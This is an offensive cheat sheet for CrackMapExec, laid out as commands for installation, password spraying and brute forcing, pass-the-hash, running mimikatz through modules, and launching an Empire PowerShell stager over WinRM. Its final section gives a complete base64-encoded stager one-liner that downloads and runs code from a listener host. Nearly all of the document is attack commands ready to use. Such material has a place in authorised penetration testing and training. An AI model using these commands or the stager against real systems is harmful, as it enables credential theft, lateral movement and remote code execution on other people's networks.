CrackMapExec full cheat sheet

Installation

Install in python environment:

apt-get install -y libssl-dev libffi-dev python-dev build-essential
pip install --user pipenv
git clone --recursive https://github.com/byt3bl33d3r/CrackMapExec
 cd CrackMapExec && pipenv install
 pipenv shell
 python setup.py install
 crackmapexec

install on system (might have some problems):

apt install crackmapexec

the overal syntax is like this:

crackmapexec [protocol] [target] -u [username] -p [password] -H [hash or hash flie]

example:

crackmapexec smb 192.168.56.115 -u Administrator -H f4750eeb6dd87b3e60faa9cc23809750 cmd.exe

logs and output files

/root/.cme/logs/

Target Formats

crackmapexec <protocol> ms.evilcorp.org
crackmapexec <protocol> 192.168.1.0 192.168.0.2
crackmapexec <protocol> 192.168.1.0/24
crackmapexec <protocol> 192.168.1.0-28 10.0.0.1-67
crackmapexec <protocol> ~/targets.txt

Using Credentials

crackmapexec <protocol> <target(s)> -u username -p password

When using usernames or passwords that contain special symbols, wrap them in single quotes to make your shell interpret them as a string

example:

crackmapexec <protocol> <target(s)> -u username -p 'Admin!123@'

if credentials start with ‘-’ use the long format

crackmapexec <protocol> <target(s)> -u='-username' -p='-Admin!123@'

Using a credential set from the database

crackmapexec <protocol> <target(s)> -id <cred ID(s)>

Brute Forcing & Password Spraying

crackmapexec <protocol> <target(s)> -u username1 -p password1 password2
crackmapexec <protocol> <target(s)> -u username1 username2 -p password1
crackmapexec <protocol> <target(s)> -u /userlist -p /passlist
crackmapexec <protocol> <target(s)> -u /userlist -H /hashlist

Viewing available modules for a Protocol

cme <protocol> -L

using modules:

cme <protocol> <target(s)> -M <module name>

Viewing module options:

cme <protocol> -M <module name> --options

Using module options:

Module options are specified with the -o flag

cme <protocol> <target(s)> -u Administrator -p 'P@ssw0rd' -M mimikatz -o COMMAND='privilege::debug'

enumerate SMB status of all systems in a domain

crackmapexec  smb 192.168.56.1/24

pass the hash

crackmapexec smb <target(s)> -u username -H LMHASH:NTHASH
crackmapexec smb <target(s)> -u username -H NTHASH

pass the password

crackmapexec smb 192.168.56.1/24 -u 'hesher' -p 'password123!'

Empire Powershell Stager

since crackmapexec can execute system commands and powershell one-liners, we can use this capability to run Empire powershell stagers remotely without touching the disk.

create listener and stager:

# listener
uselistener http
set Host http://192.168.56.1
set Port 9999
execute

# stager
usestager windows/wmic
set Listener http
execute

copy the generate powershell one-liner and run it with CME:

crackmapexec winrm 192.168.56.103 -u administrator -p repentless.1234 -X "powershell -noP -sta -w 1 -enc  SQBmACgAJABQAFMAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUALgBQAFMAVgBlAHIAcwBpAG8AbgAuAE0AYQBqAG8AcgAgAC0AZwBlACAAMwApAHsAfQA7AFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoARQB4AHAAZQBjAHQAMQAwADAAQwBvAG4AdABpAG4AdQBlAD0AMAA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAHMAZQByAD0AJAAoAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABrAEEATQBnAEEAdQBBAEQARQBBAE4AZwBBADQAQQBDADQAQQBOAFEAQQAyAEEAQwA0AEEATQBRAEEANgBBAEQAawBBAE8AUQBBADUAQQBEAGsAQQAnACkAKQApADsAJAB0AD0AJwAvAGEAZABtAGkAbgAvAGcAZQB0AC4AcABoAHAAJwA7ACQAdwBjAC4ASABlAGEAZABlAHIAcwAuAEEAZABkACgAJwBVAHMAZQByAC0AQQBnAGUAbgB0ACcALAAkAHUAKQA7ACQAdwBjAC4AUAByAG8AeAB5AD0AWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBEAGUAZgBhAHUAbAB0AFcAZQBiAFAAcgBvAHgAeQA7ACQAdwBjAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQATgBlAHQAdwBvAHIAawBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAOwAkAFMAYwByAGkAcAB0ADoAUAByAG8AeAB5ACAAPQAgACQAdwBjAC4AUAByAG8AeAB5ADsAJABLAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBlAHQAQgB5AHQAZQBzACgAJwB3AHUAMQBOAHoAYQBRAE8AQQBZAHwAXwAjAFUAPAAsAD0ASQBAAGwANwBKAGsASwBMAG8AfQBpAEQAUgBIADYAJwApADsAJABSAD0AewAkAEQALAAkAEsAPQAkAEEAcgBnAHMAOwAkAFMAPQAwAC4ALgAyADUANQA7ADAALgAuADIANQA1AHwAJQB7ACQASgA9ACgAJABKACsAJABTAFsAJABfAF0AKwAkAEsAWwAkAF8AJQAkAEsALgBDAG8AdQBuAHQAXQApACUAMgA1ADYAOwAkAFMAWwAkAF8AXQAsACQAUwBbACQASgBdAD0AJABTAFsAJABKAF0ALAAkAFMAWwAkAF8AXQB9ADsAJABEAHwAJQB7ACQASQA9ACgAJABJACsAMQApACUAMgA1ADYAOwAkAEgAPQAoACQASAArACQAUwBbACQASQBdACkAJQAyADUANgA7ACQAUwBbACQASQBdACwAJABTAFsAJABIAF0APQAkAFMAWwAkAEgAXQAsACQAUwBbACQASQBdADsAJABfAC0AYgB4AG8AcgAkAFMAWwAoACQAUwBbACQASQBdACsAJABTAFsAJABIAF0AKQAlADIANQA2AF0AfQB9ADsAJAB3AGMALgBIAGUAYQBkAGUAcgBzAC4AQQBkAGQAKAAiAEMAbwBvAGsAaQBlACIALAAiAHIAdgB5AEUAbgBEAEUAUgBvAHMARQB4AGEAdgByAD0AbABBAFQAaQBpAE4AUgBLAFUALwB2AE8AVQBsADAAYgB0AGEAYQBoAEgAbQA4AEUAMwBrAEkAPQAiACkAOwAkAGQAYQB0AGEAPQAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABzAGUAcgArACQAdAApADsAJABpAHYAPQAkAGQAYQB0AGEAWwAwAC4ALgAzAF0AOwAkAGQAYQB0AGEAPQAkAGQAYQB0AGEAWwA0AC4ALgAkAGQAYQB0AGEALgBsAGUAbgBnAHQAaABdADsALQBqAG8AaQBuAFsAQwBoAGEAcgBbAF0AXQAoACYAIAAkAFIAIAAkAGQAYQB0AGEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA=="
